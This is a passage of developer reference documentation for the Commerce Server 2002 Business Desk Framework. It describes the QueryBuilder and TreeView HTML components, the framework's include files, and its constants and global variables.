For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a QueryBuilder HTC within a DIV element. The Style attribute specifies that the QueryBuilder behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the QueryBuilder HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The XMLCfgID attribute specifies a configuration data-island that is defined elsewhere within the document. The Language attribute specifies that the QueryBuilder HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the QueryBuilder HTC. Since the AutoActivate attribute is not present, the Activate method must be called explicitly.

Finally, temporary text is provided to inform the user that the QueryBuilder HTC is loading.

  <DIV Id='myQueryBuilder'
       Class='clsQueryBldr'
       Style='behavior:url(/widgets/exprbldrHTC/QueryBuilder.htc); width:100%'
       Language='VBScript'
       XMLCfgID='DataIslandID'
       OnAction='ActionHandler()'
       OnError='ErrorHandler()'
       OnQueryChange='QueryChangeHandler()'
       OnReady='ReadyHandler()'
  >Loading QueryBuilder, please wait...</DIV>


TreeView

The TreeView HTML Component (HTC) directly translates an Extensible Markup Language (XML) hierarchy into an expandable tree structure for use in selection.

It is important to note that the TreeView HTC makes a distinction between a tree item being selected and being active. Selection is visible to the user. The most recently clicked item is the active item, which may or may not cause the item to be selected as well. The active item can also be changed programmatically without changing the selected item. Programmatically setting an active node enables you to then use several methods without having to specify the node again (enableActive, expandActive, and so on).

This section contains:

  • Events. Describes the events supported by the TreeView HTC.
  • Methods. Describes the methods supported by the TreeView HTC.
  • Container Attributes. Describes the attributes that the TreeView HTC expects to be set on the element in which it is contained.
  • Configuration Data. Describes the data passed to the TreeView HTC via the ID used as the value of the DataXML container attribute.
  • Instantiation Example. Demonstrates how the TreeView HTC is instantiated in script on an Active Server Pages (ASP) page.

The TreeView HTC does not expose any properties.


Events

The TreeView HTC supports the following events:

  • OnError
  • OnItemClose
  • OnItemExecute
  • OnItemOpen
  • OnItemSelect
  • OnItemUnselect

OnError

The OnError event fires when the TreeView HTC encounters a developer error condition. In addition, if the m_bDebug variable in the HTC is set to True, an alert box appears. This switch can be very helpful in debugging problems that occur when you get the error message "The control could not load."

The event object property window.event.error contains a string with details about the error.

Return to top

OnItemClose

The OnItemClose event fires when a container item in the tree is closed.

The event object property window.event.XMLitem contains the XML node for the item that has been closed.

Return to top

OnItemExecute

The OnItemExecute event fires when an item in the tree is double-clicked.

The event object property window.event.XMLitem contains the XML node for the item that has been double-clicked.

Return to top

OnItemOpen

The OnItemOpen event fires when a container item in the tree is opened.

The event object property window.event.XMLitem contains the XML node for the item that has been opened.

When the item being opened contains the subordinate element expand (and no other subordinate elements), the event handling routine for this event must attach arguments to the corresponding form element. When it completes, the TreeView HTC calls the reload method with its sOp parameter set to 'expand'. The tree data returned by the form response then replaces the expand element itself in the DataXML data-island, which completes the deferred loading of that section of the tree.

Return to top

OnItemSelect

The OnItemSelect event fires when an item in the tree is selected.

The event object property window.event.XMLitem contains the XML node for the item that has been selected.

Return to top

OnItemUnselect

The OnItemUnselect event fires when a selected item in the tree becomes unselected.

The event object property window.event.XMLitem contains the XML node for the item that is no longer selected.

Return to top


Methods

The TreeView HTC supports the following methods:

  • areRelated
  • enableActive
  • expandActive
  • expandAll
  • hideActive
  • reload
  • selectNode
  • setActive
  • unselectAll

areRelated(sFrom, sTo)

The areRelated method is used to determine whether the two tree items specified by the required parameters sFrom and sTo are related. In other words, one is a descendent of the other. If they are related, this method returns True. If they are not related, this method returns False.

The parameters sFrom and sTo can be either the data contained by the item, or the value of the caption attribute, in the DataXML data-island.

Return to top

enableActive(bEnable)

The enableActive method is used to enable and disable the active item based on the value of the required parameter bEnable. Legal values for bEnable are True and False. A value of True causes the active node to be enabled. A value of False causes it to be disabled.

Return to top

expandActive(bExpand)

The expandActive method is used to expand or collapse the active item based on the value of the required parameter bExpand. Legal values for bExpand are True and False. A value of True causes the active node to be expanded. A value of False causes it to be collapsed.

Return to top

expandAll(bExpand)

The expandAll method is used to expand or collapse the entire tree based on the value of the required parameter bExpand. Legal values for bExpand are True and False. A value of True causes the entire tree to be expanded. A value of False causes the entire tree to be collapsed.

Return to top

hideActive(bHide)

The hideActive method is used to hide and show the active item and its children based on the value of the required parameter bHide. Legal values for bHide are True and False. A value of True causes the active node and its children to be hidden. A value of False causes them to be shown.

Return to top

reload(sOp)

The reload method reloads the data into the TreeView HTC using an operation configured in the DataXML data-island.

The operation is identified by the required sOp parameter, which specifies the name of a child element of the operations element in the DataXML data-island. In general, the element name is an arbitrary name associated with a custom operation.

The exception is a special operation indicated by the expand element. This operation does not reload the entire tree. Rather, it replaces a particular occurrence of an expand element with the data returned from the server, effectively expanding a previously closed section of the tree. Such expansion typically occurs only once for each expand element.

The formid attribute of the matching operation element identifies the form that is posted as a result of this operation. The action attribute of the form specifies the page to which the form is posted.

Any child elements of the form are sent with the form posting.

This method does not have any return values.

Example:

elTreeView.reload("alpha_sort")

Return to top

selectNode(sValue)

The selectNode method selects the first item in the tree that has a data value or caption matching the string passed in the required parameter sValue. If no match is found, no item is selected. This method does not have any return value.

Return to top

setActive(sValue)

The setActive method looks for an item in the tree that has a data value or caption matching the string passed in the required parameter sValue, and sets the first such item as the active item. If no match is found, the currently active item, if any, remains active. This method does not have any return value.

Return to top

unselectAll

The unselectAll method unselects all items in the tree. It does not take any parameters and does not have any return value.

Return to top


Container Attributes

In order to pass data to the TreeView HTC, the following attribute must be set on the element that is using the TreeView behavior (this element is typically a DIV):

DataXML
The value of this attribute must be set to the value of the id attribute of the Extensible Markup Language (XML) data-island containing the combination of operations configuration and data to be displayed.


Configuration Data

The TreeView HTC requires that the tree to be displayed be passed to it in the form of an Extensible Markup Language (XML) data-island. This data-island contains the data to be displayed in the tree, configuration attributes about how that data should be displayed, and configuration information about any custom operations defined for this instance of the TreeView HTC. The container attribute DataXML is set to the value of the id attribute of this data-island.

It is important to note that the TreeView HTC is the only Commerce Server Business Desk HTC for which configuration information is combined into the same data-island with the data itself. In other words, there is no MetaXML container attribute to specify for the TreeView HTC. Data and configuration information are provided in a single data-island, specified by the DataXML container attribute. The nested nature of the elements provides the nesting shown in the displayed tree.

The names of all of the elements in the data-island for the TreeView HTC are arbitrary, though there are circumstances where the element name itself is displayed to the user. The XML elements and attributes in the TreeView HTC configuration may be expressed in uppercase or lowercase letters. The arbitrary elements may contain data, but need not.

For detailed information about the structure of this XML data-island, see TreeView Configuration.

For more information about the ways in which an XML document can be included on a page (creating an XML data-island), see XML Data-Islands.


Instantiation Example

The following HTML code shows a typical instantiation of a TreeView HTC within a DIV element. The Class attribute specifies that the TreeView behavior be associated with this DIV element.

Note

  • In order for the Class attribute to properly identify the TreeView HTC, you must make sure that your pages use the Bizdesk.css style sheet.

The DataXML attribute specifies the ID of the data-island that specifies the tree structure, behavior, and any special operations defined for the tree. This data-island must be defined elsewhere within the document. The Language attribute specifies that the TreeView HTC event handlers are implemented in Microsoft Visual Basic Scripting Edition (VBScript). The remaining attributes associate methods defined elsewhere with the specific events supported by the TreeView HTC.

Finally, temporary text is provided to inform the user that the TreeView HTC is loading.

  <DIV Id='myTreeView'
       Class='TreeView'
       Language='VBScript'
       DataXML='DataIslandID'
       OnError='ErrorHandler()'
       OnItemSelect='ItemSelectHandler()'
       OnItemUnselect='ItemUnselectHandler()'
       OnItemExecute='ExecuteHandler()'
       OnItemOpen='OpenHandler()'
       OnItemClose='CloseHandler()'
  >Loading TreeView, please wait...</DIV>


Include Files

The Commerce Server Business Desk Include directory contains a number of files that provide a variety of functionality for use within Business Desk modules. Not all of them are relevant to authors of Business Desk modules. The following table provides a brief description of the purpose of each relevant file in the Include directory.

File name | Description
ActionPageUtil.asp This Active Server Pages (ASP) file contains much of the implementation of the Business Desk Framework. It contains both server-side and client-side utility functions, constants, and global variables that are useful for module development.

It also performs certain universal action page initialization tasks, such as displaying the taskbar. Note that most of the functions inserted with the taskbar call into the parent frame (bizdesk.asp) in order to decreace the client code download size.

Nested include files: BizDeskPaths.asp, BizDeskStrings.asp, SharedStrings.asp.
ASPUtil.asp This ASP file contains miscellaneous functions that are useful on pages that do not need all of the display-related code that is in the file ActionPageUtil.asp. An example is a page that performs server-side processing and then redirects to another page.

This file contains localizable strings.

Nested include files: None. The file ASPUtil.asp is not dependent on code in any other file.
BDHALUtil.htm This ASP file contains code to resize buttons and select controls to uniform sizes. It is primarily intended for use in HTML dialog boxes.

Nested include files: None. The file BDHALUtil.asp is not dependent on code in any other file.
BDHeader.asp This ASP file contains code to set the codepage, response headers, and script language for HTML pages. It should be included at the top of any page that displays HTML in the Business Desk content pane.

Nested include files: None. The file BDHeader.asp is not dependent on code in any other file.
BDXMLHeader.asp This ASP file contains code to set the codepage, response headers, script language, and XML declaration node for pages that return XML. It should be included at the top of any page that returns XML to one of the Business Desk HTML Components (HTCs) that run XMLHTTP operations (for example, the ListSheet HTC and the TreeView HTC).

Nested include files: None. The file BDXMLHeader.asp is not dependent on code in any other file.
BizDesk.css This file is the cascading style sheet for Business Desk. Global changes to how Business Desk appears, such as the colors and fonts used, should be made in this file. All module action pages should specify this file as their style sheet so that they participate in any such global changes. This enhances the overall consistency of Business Desk as new modules are added.

The content for this file is generated by importing the file styles\bizdesk_css.asp. This file is determines which CSS file in the include\styles folder to use by concatenating the current theme prefix and "bizdesk.css".
BizDeskObjects.asp The routines in this file are intended for internal framework use only.

This file contains localizable strings for Business Desk developer errors that show only when initially loading the application in DEVELOPER mode.

Nested include files: None. The file BizDeskObjects.asp is not dependent on code in any other file.
BizDeskPaths.asp This ASP file contains the declarations of a number of server-side global variables that store Business Desk paths and Internet Information Server (IIS) virtual roots useful to module code. For more information about these global variables, see Server-Side Global Variables.

Nested include files: None. The file BizDeskPaths.asp is not dependent on code in any other file.
BizDeskStrings.asp This ASP file contains the definitions of string constants used within the Business Desk Framework, greatly reducing the effort required to translate the Business Desk Framework into other languages.

Refer to the include file itself for the particular constants and corresponding strings, as well as documentation about the naming convention used for the constants.

This file contains localizable strings.

Nested include files: None. The file BizDeskStrings.asp is not dependent on code in any other file.
BizDeskUtil.asp This ASP file is normally included by Business Desk module action pages. Its main purpose is to consolidate the inclusion of several other files.

It also contains code to prevent module action pages from being browsed outside the Business Desk Framework. If this code does not detect the Business Desk Framework, it redirects the page to Business Desk.

Nested include files: DBUtil.asp, ASPUtil.asp, ActionPageUtil.asp.
ClientDateUtil.asp This ASP file contains several client-side routines for working with dates.

Nested include files: None. The file ClientDateUtil.asp is not dependent on code in any other file. You must explicitly include this file to use the functions in it.
DBUtil.asp This ASP file contains a number of server-side functions for creating ActiveX Data Objects (ADO) connections, performing SQL queries, and then converting the data in the resultant Recordset objects into XML data-islands. It also provides numerous ADO constant definitions.

Nested include files: None. The file DBUtil.asp is not dependent on code in any other file.
DialogUtil.asp This ASP file is normally included by Business Desk module dialog pages. Its main purpose is to consolidate the inclusion of several other files, without the redirect code in the file BizDeskUtil.asp.

Nested include files: DBUtil.asp, ASPUtil.asp, ActionPageUtil.asp.
dlg_confirm.asp This ASP file is useful for showing a standard confirmation dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, SharedStrings.asp, BizDeskStrings.asp, BizDeskPaths.asp, ASPUtil.asp.
dlg_debug.htm This ASP file is useful for showing a standard debug dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file HTTPXMLUtil.htm for examples.

Nested include files: None. The file dlg_debug.htm is not dependent on code in any other file.
dlg_error.asp This ASP file is useful for showing a standard error dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, SharedStrings.asp, BizDeskPaths.asp, ASPUtil.asp.
dlg_permissions.asp This ASP file is useful for showing a standard Business Desk permissions dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, DialogUtil.asp, HTTPXMLUtil.asp.
dlg_warn.asp This ASP file is useful for showing a standard warning dialog box, and can be passed as an argument to the showModalDialog DOM method. See the file ActionPageUtil.asp for examples.

Nested include files: BDHeader.asp, SharedStrings.asp, BizDeskStrings.asp, BizDeskPaths.asp, ASPUtil.asp.
HTTPXMLUtil.asp This ASP file contains a number of server-side functions for creating XML documents, adding nodes to a document in a standard way, converting an XML document to a Dictionary object and vice versa. It also provides functions for retrieving XML posted to an XMLHTTP response page.

Nested include files: None. The file HTTPXMLUtil.asp is not dependent on code in any other file.
HTTPXMLUtil.htm This HTM file contains a number of client-side functions for creating XML documents, adding nodes to a document in a standard way, converting an XML document to a Dictionary object and vice versa. It also provides functions for posting XML to an XMLHTTP response page and various server-side state routines as well (using the response_session.asp response page).

Nested include files: None. The file HTTPXMLUtil.htm is not dependent on code in any other file. You must explicitly include this file to use the functions in it.
NavTree.css This style sheet file is used by the navigation pane frame and is not intended to be linked to by any other Business Desk files.

The content for this file is generated by importing the file styles\navtree_css.asp. This file is determines which CSS file in the include\styles folder to use by concatenating the current theme prefix and "navtree.css".
response_permissions.asp | This file contains code used to set Business Desk permissions using XMLHTTP. This file is intended for internal framework use only.
response_session.asp | This file contains code used to set, get, and clear server state using XMLHTTP. Routines in this file are intended for internal framework use only.
ServerSecurityUtil.asp | This file contains routines used for server-side security.
SharedStrings.asp This ASP file contains the definitions of string constants used within multiple Business Desk modules that ship as part of Commerce Server 2002. Having such string constants centralized greatly reduces the effort required to translate them into other languages.

Refer to the include file itself for the particular constants and corresponding strings, as well as documentation about the naming convention used for the constants.

Module writers who are authoring multiple modules that share strings or functions can easily add another file for their shared code in the Common folder, provided for this purpose. Microsoft discourages adding code to the file SharedStrings.asp since this may create multiple versions for different third parties.

This file contains localizable strings.

Nested include files: None. The file SharedStrings.asp is not dependent on code in any other file.


Constants

The Commerce Server Business Desk Framework defines a variety of client-side and server-side constants that provide a means to symbolically express values that are likely to be useful when writing Business Desk modules. Wherever possible, module developers should use these constants rather than defining their own equivalent constants or using the underlying values directly.

This section contains:

  • Client-Side Constants. Provides an alphabetized list of all client-side constants provided by the Business Desk Framework.
  • Server-Side Constants. Provides an alphabetized list of all server-side constants provided by the Business Desk Framework.


Client-Side Constants

The Commerce Server Business Desk Framework defines the following client-side constants:

Error Type Constants (from file ActionPageUtil.asp):
Constants to use as the nErrorType parameter of the client-side routine ShowErrorDlg. The passed value communicates the type of the error and the type of error icon displayed by the routine.

Constants:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL, ERROR_ICON_QUESTION, ERROR_ICON_INFORMATION

Key Code Constants (from file ActionPageUtil.asp):
Constants to use as values of the window.event.keyCode variable in "onKey" handler routines, allowing the pressed key to be determined.

Constants:

KEYCODE_LEFT, KEYCODE_UP, KEYCODE_RIGHT, KEYCODE_DOWN, KEYCODE_BACKSPACE, KEYCODE_F1, KEYCODE_F2, KEYCODE_F3, KEYCODE_F4, KEYCODE_F5, KEYCODE_F6, KEYCODE_F7, KEYCODE_F8, KEYCODE_F9, KEYCODE_F10, KEYCODE_F11, KEYCODE_F12

XML DOM Element Type Constants (from file ActionPageUtil.asp):
Constants to use as values for the CreateNode method of the XMLDOM.

Constants:

NODE_ELEMENT, NODE_ATTRIBUTE, NODE_TEXT, NODE_CDATA_SECTION, NODE_ENTITY_REFERENCE, NODE_ENTITY, NODE_PROCESSING_INSTRUCTION, NODE_COMMENT, NODE_DOCUMENT, NODE_DOCUMENT_TYPE, NODE_DOCUMENT_FRAGMENT, NODE_NOTATION

Webdings Font Arrow Constants (from file ActionPageUtil.asp):
Character-code constants for elements formatted with the Webdings FONT-FAMILY. These constants correspond to left, right, up, and down arrows.

Constants:

LEFT_ARROW, RIGHT_ARROW, UP_ARROW, DOWN_ARROW


Server-Side Constants

The Commerce Server Business Desk Framework defines the following server-side constants:

Environment Mode Constants (from file BizDeskUtil.asp):
Constants used to set the MSCSEnv variable in the Global.asa file. PRODUCTION mode sets all debug flags to values that should be used for Business Desk in a production environment. DEVELOPMENT mode sets the debug flags to allow greater feedback and functionality useful when developing new Business Desk modules.

Constants:

PRODUCTION, DEVELOPMENT

These two constants control the inidividual settings of the following six Boolean variables that control various aspects of the Business Desk behavior: VERBOSE_OUTPUT, SHOW_OBJECT_ERRORS, AUTO_REDIRECT_ENABLED, FORCE_HTA_ONLY, ALLOW_CONTEXT_MENUS, and SHOW_DEBUG_TEXT. Refer to the file Global.asa for additional details.

Error Type Constants (from file ASPUtil.asp):
Constants to use as the nErrorType parameter of the server-side routine SetError. The passed value communicates the type of the error and the type of error icon displayed by the routine.

Constants:

ERROR_ICON_ALERT, ERROR_ICON_CRITICAL, ERROR_ICON_QUESTION, ERROR_ICON_INFORMATION

Key Code Constants (from file ActionPageUtil.asp):
Constants to use as values of the window.event.keyCode variable in "onKey" handler routines, allowing the pressed key to be determined.

Constants:

KEYCODE_LEFT, KEYCODE_UP, KEYCODE_RIGHT, KEYCODE_DOWN, KEYCODE_BACKSPACE, KEYCODE_F1, KEYCODE_F2, KEYCODE_F3, KEYCODE_F4, KEYCODE_F5, KEYCODE_F6, KEYCODE_F7, KEYCODE_F8, KEYCODE_F9, KEYCODE_F10, KEYCODE_F11, KEYCODE_F12

XML DOM Element Type Constants (from file ActionPageUtil.asp):
Constants to use as values for the CreateNode method of the XMLDOM.

Constants:

NODE_ELEMENT, NODE_ATTRIBUTE, NODE_TEXT, NODE_CDATA_SECTION, NODE_ENTITY_REFERENCE, NODE_ENTITY, NODE_PROCESSING_INSTRUCTION, NODE_COMMENT, NODE_DOCUMENT, NODE_DOCUMENT_TYPE, NODE_DOCUMENT_FRAGMENT, NODE_NOTATION

ADO Constants (from file DBUtil.asp):
Constants to use with ActiveX Data Objects (ADO), such as command types, cursor types, lock types, and so on.

Constants:

Refer to the file DBUtils.asp for details.
Special Date Splitting Constants (from file DBUtil.asp):
A special constant to use in the formatting Dictionary object passed to the Recordset-to-XML conversion routines. It is used to indicate that a single ADO datatime field should be split into two separate fields for separate editing in date and time EditField HTCs. The date portion will be placed in an Extensible Markup Language (XML) element named date_colId and the time portion will be placed in an XML element named time_colId.

Constants:

COMMERCE_SPLIT_DATE

XML Conversion Routine Constant (from file DBUtil.asp):
Constant to use as the recordcount parameter to Recordset-to-XML conversion routines, indicating that the recordset should not be counted.

Constants:

TOO_BIG_TO_COUNT

Locale Constants (from file DBUtil.asp):
Constants to use with the DataFunctions object GetLocaleInfo method.

Constants:

LOCALE_SDECIMAL, LOCALE_STHOUSAND

Webdings Font Arrow Constants (from file ActionPageUtil.asp):
Character-code constants for elements formatted with the Webdings FONT-FAMILY. These constants correspond to left, right, up, and down arrows.

Constants:

LEFT_ARROW, RIGHT_ARROW, UP_ARROW, DOWN_ARROW


Global Variables

The Commerce Server Business Desk Framework defines a variety of client-side and server-side global variables that are initialized to values that are useful when writing Business Desk modules. Wherever possible, module developers should use the values already in these global variables rather than constructing their own equivalents.

This section contains:

  • Client-Side Global Variables. Provides an alphabetized list of all client-side global variables provided by the Business Desk Framework.
  • Server-Side Global Variables. Provides an alphabetized list of all server-side global variables provided by the Business Desk Framework.


Client-Side Global Variables

The Commerce Server Business Desk Framework defines the following client-side global variables:

g_bDirty
A Boolean value indicating whether any fields on the page have changed since the last save operation. True indicates that changes have been made since the last save operation, and False indicates that no changes have been made.

This variable is declared and initialized to False in the file ActionPageUtil.asp, and its scope is the action page itself.

g_bRequired
A Boolean value indicating whether any fields on the page still require values to be provided. True indicates that at least one required field does not yet have a value, and False indicates that all required fields have values.

This variable is declared and initialized to False in the file ActionPageUtil.asp, and its scope is the action page itself.

g_bUnloading
A Boolean used to indicate when the page is unloading because a task button was clicked. This forces the framework to suppress the display of the normal Internet Explorer unloading page warning that is displayed after the user clicks the close button for Business Desk.
g_bValid
A Boolean value indicating whether any fields on the page contain values that are not valid. False indicates that one or more fields have a value that is not valid, and True indicates that all fields contain valid values.

This variable is declared and initialized to True in the file ActionPageUtil.asp, and its scope is the action page itself.

g_nFindByHeight
An integer height in pixels for the find pane, initially set to 55 pixels. This variable is set by the SetFindByHeight routine before the ShowFindBy routine is called to display it.


Server-Side Global Variables

The Commerce Server Business Desk Framework defines the following server-side global variables:

ALLOW_CONTEXT_MENUS
A Boolean value that controls whether normal right-click menus will be disabled within Business Desk. A value of True allows normal right-click menus, and a value of False suppresses normal right-click menus.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, the variable ALLOW_CONTEXT_MENUS is set to False. When the variable MSCSEnv is set to DEVELOPMENT, the variable ALLOW_CONTEXT_MENUS is set to True.

There is also an Application object variable with the same name as this global variable.

AUTO_REDIRECT_ENABLED

A Boolean value that controls whether action pages can be displayed outside the Business Desk Framework. A value of True causes any such attempt to be redirected to Business Desk, and a value of False suppresses this redirection behavior.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, the variable AUTO_REDIRECT_ENABLED is set to True. When the variable MSCSEnv is set to DEVELOPMENT, the variable AUTO_REDIRECT_ENABLED is set to False.

There is also an Application object variable with the same name as this global variable.

FORCE_HTA_ONLY
A Boolean value that controls whether an attempt to run Business Desk outside of an HTML application (HTA) environment will result in an error being displayed. A value of True causes any such attempt to result in an error being displayed, and a value of False suppresses this error display behavior.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, the variable FORCE_HTA_ONLY is set to True. When the variable MSCSEnv is set to DEVELOPMENT, the variable FORCE_HTA_ONLY is set to False.

There is also an Application object variable with the same name as this global variable.

By default, when the Business Desk is in Production mode, you must use the HTML Application. However, you can change this by editing the Global.asa in the Business Desk virtual directory; the following line must be changed:

' original Global.asa code disallowing linking in production mode
FORCE_HTA_ONLY = true

To link to the Business Desk at Business Desk at http: //<servername>/<Business Desk Site name>/bizdesk.asp, change this line of code to:

' revised Global.asa code allowing linking in production mode
FORCE_HTA_ONLY = false
g_dActionPage
A reference to a Dictionary object containing the configuration information for the current page, such as the tasks associated with the action that the page implements.

The Dictionary object accessed through this global variable is created in the file ActionPageUtil.asp by calling the routine dGetAction. The scope of the variable is the action page itself.

g_imgInvalid
A string containing HTML that displays the icon used to indicate a value is not valid in edit pages.
g_imgLoadingAnimation
A string containing HTML that displays the loading animation icon.
g_imgRequired
A string containing HTML that displays the required icon used in edit pages.
g_imgWorld
A string containing HTML that displays the world (multi-lingual) icon used in edit pages.
g_MSCSAdminEventLog
A reference to an object (ProgID = Commerce.AdminEventLog) that provides a mechanism for writing errors to the event log. For more information, see AdminEventLog Object.

Do not call the Initialize method on this shared object.

The object accessed through this global variable is created and initialized in the ActionPageUtil.asp file, and its scope is Session.

g_MSCSAppConfig
A reference to an object (ProgID = Commerce.AppConfig) that provides a mechanism for reading application configuration values. For more information, see AppConfig Object.

Do not call the Initialize method on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_MSCSBizDeskRoot
A string containing the virtual root name for the current instance of Business Desk.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSBizDeskRoot, which is read from the file Csapp.ini in the Global.asa file.

g_MSCSBizDeskSecurity
A reference to an object (ProgID = Commerce.BizDeskSecurity) that provides a mechanism for filtering the contents of the navigation frame based on the identity of the user. For more information, see BizDeskSecurity Object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Session.

g_MSCSConfiguration
A reference to an object (ProgID = Commerce.SiteConfigReadOnly) that is instantiated with the site name and is used to retrieve site configuration information from the site store. For more information, see SiteConfigReadOnly Object.

Do not call the Initialize method on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_MSCSCurrencyLocale
The currency locale ID (LCID) from the Site Configuration Store.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSCurrencyLocale, which is read from the site store in the Global.asa file.

The global variable g_DBCurrencyLocale, set in the file DBUtil.asp, contains the same value.

g_MSCSDataFunctions
A reference to an object (ProgID = Commerce.DataFunctions) that provides generic data functions, such as for data formatting and validation. For more information, see DataFunctions Object.

Do not reset the locale property on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_MSCSDefaultLocale
The default LCID from the Site Configuration Store.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSDefaultLocale, which is read from the site store in the Global.asa file.

The global variable g_DBDefaultLocale, set in the file DBUtil.asp, contains the same value.

g_MSCSEnv
A number set to one of the server-side constants PRODUCTION or DEVELOPMENT.

Based on the setting of the MSCSEnv variable in the Global.asa file, the default values for the following global variables are established:

VERBOSE_OUTPUT

SHOW_OBJECT_ERRORS

AUTO_REDIRECT_ENABLED

FORCE_HTA_ONLY

ALLOW_CONTEXT_MENU

This global variable is defined and initialized in the file BizDeskUtil.asp. It is initialized to the value of the Application object variable MSCSEnv, which is set in the Global.asa file.

g_MSCSMessageManager
Contains a reference to an object (ProgID = Commerce.MessageManager) that provides a mechanism for retrieving user interface strings from a centralized location. For more information, see MessageManager Object.

Do not reset the DefaultLanguage property on this shared object.

The object accessed through this global variable is created and initialized in the Global.asa file, and its scope is Application.

g_mscsPage
A reference to an object (ProgID = Commerce.Page) that contains useful page helper functions. For more information, see Page Object.

The object accessed through this global variable is created and initialized in the file ActionPageUtil.asp, and the scope of the variable is the action page itself.

g_MSCSSiteName
A string containing the name of the site corresponding to this instance of Business Desk.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSSiteName, which is read from the file Csapp.ini in the Global.asa file.

g_sActionId
A string that contains the Uniform Resource Locator (URL) path and query string of the current page, relative to the Business Desk root folder. This string is known as the Action ID. This value corresponds to the id attribute of one of the action elements in one of the module configuration files.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself.

g_sBDAssetRoot
A string containing the complete URL path to the Business Desk Assets folder where all shared images are stored.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the assets folder ('Assets/') to the end of the string contained in the global variable g_sBizDeskRoot.

g_sBDConfigPath
A string containing the complete file system path to the Business Desk configuration folder where all Business Desk XML configuration files are stored.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is the file system path equivalent of the virtual path specified by the global variable g_sBizDeskRoot.

g_sBDConfigRoot
A string containing the complete URL path to the Business Desk configuration folder where all XML configuration files are stored.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the configuration folder ('Config/') to the end of the string contained in the global variable g_sBizDeskRoot.

g_sBDIncludeRoot
A string containing the complete URL path to the Business Desk include folder.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the include folder ('Include/') to the end of the string contained in the global variable g_sBizDeskRoot.

g_sBizDeskRoot
A string containing the complete URL path to the Business Desk folder.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by adding slash characters ('/') to the beginning and end of the string contained in the global variable g_MSCSBizDeskRoot.

g_sBizDeskRootPage
A string containing the complete URL path to the master start page of the Business Desk.

This variable is declared and initialized in the file BizDeskPaths.asp, and its scope is the action page itself. It is constructed by appending the name of the master start page (Bizdesk.asp) to the end of the string contained in the global variable g_sBizDeskRoot.

g_sContextDefault
A string containing the value of the id attribute of the task element that will be shown as the default context menu item for a Business Desk module.

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value "open", but can be set to another value prior to the routine InsertTaskBar being called. The corresponding task definition must also have its type attribute set to "context".

g_sMSCSCurrencyFormat
A string containing a currency format to be used as the data associated with the format element within a numeric element of the currency subtype in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting MSCSCurrencyFormat, which the Global.asa file reads from the site store.

g_sMSCSDateFormat
A string containing a date format to be used as the data associated with the format element within a date element in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting MSCSDateFormat, which the Global.asa file reads from the site store.

g_sMSCSNumberFormat
A string containing a number format to be used as the data associated with the format element within a numeric element of the integer or float sub-type in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSNumberFormat, which the Global.asa file reads from the site store.

g_sMSCSWeekStartDay
A string specifying the first day of the week, to be used as the data associated with the firstday attribute of a date element in the metadata for an HTML component (HTC).

This variable is declared and initialized in the file ActionPageUtil.asp, and its scope is the action page itself. It is initialized to the value of the Application object setting the variable MSCSWeekStartDay, which is obtained from the DataFunctions object using the site default locale.

SHOW_DEBUG_TEXT
A Boolean value that controls whether debug text is displayed during certain routines. A value of True causes the debug text to be displayed, and a value of False suppresses the display of the debug text.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, SHOW_DEBUG_TEXT is set to False. When MSCSEnv is set to DEVELOPMENT, SHOW_DEBUG_TEXT is set to True.

There is also an Application object variable with the same name as this global variable.

SHOW_OBJECT_ERRORS
A Boolean value that controls whether object loading errors are displayed in a dialog box upon completion of loading. A value of True causes the dialog box to be displayed, and a value of False suppresses the display of the dialog box.

In the Global.asa file, when the variable MSCSEnv is set to PRODUCTION, SHOW_OBJECT_ERRORS is set to False. When MSCSEnv is set to DEVELOPMENT, SHOW_OBJECT_ERRORS is set to True.

There is also an Application object variable with the same name as this global variable.

VERBOSE_OUTPUT
A Boolean value that controls whether verbose output is provided while page objects are loading for the first time after an Internet Information Service (IIS) reset. A value of True provides verbose output, and a value of False suppresses verbose output.

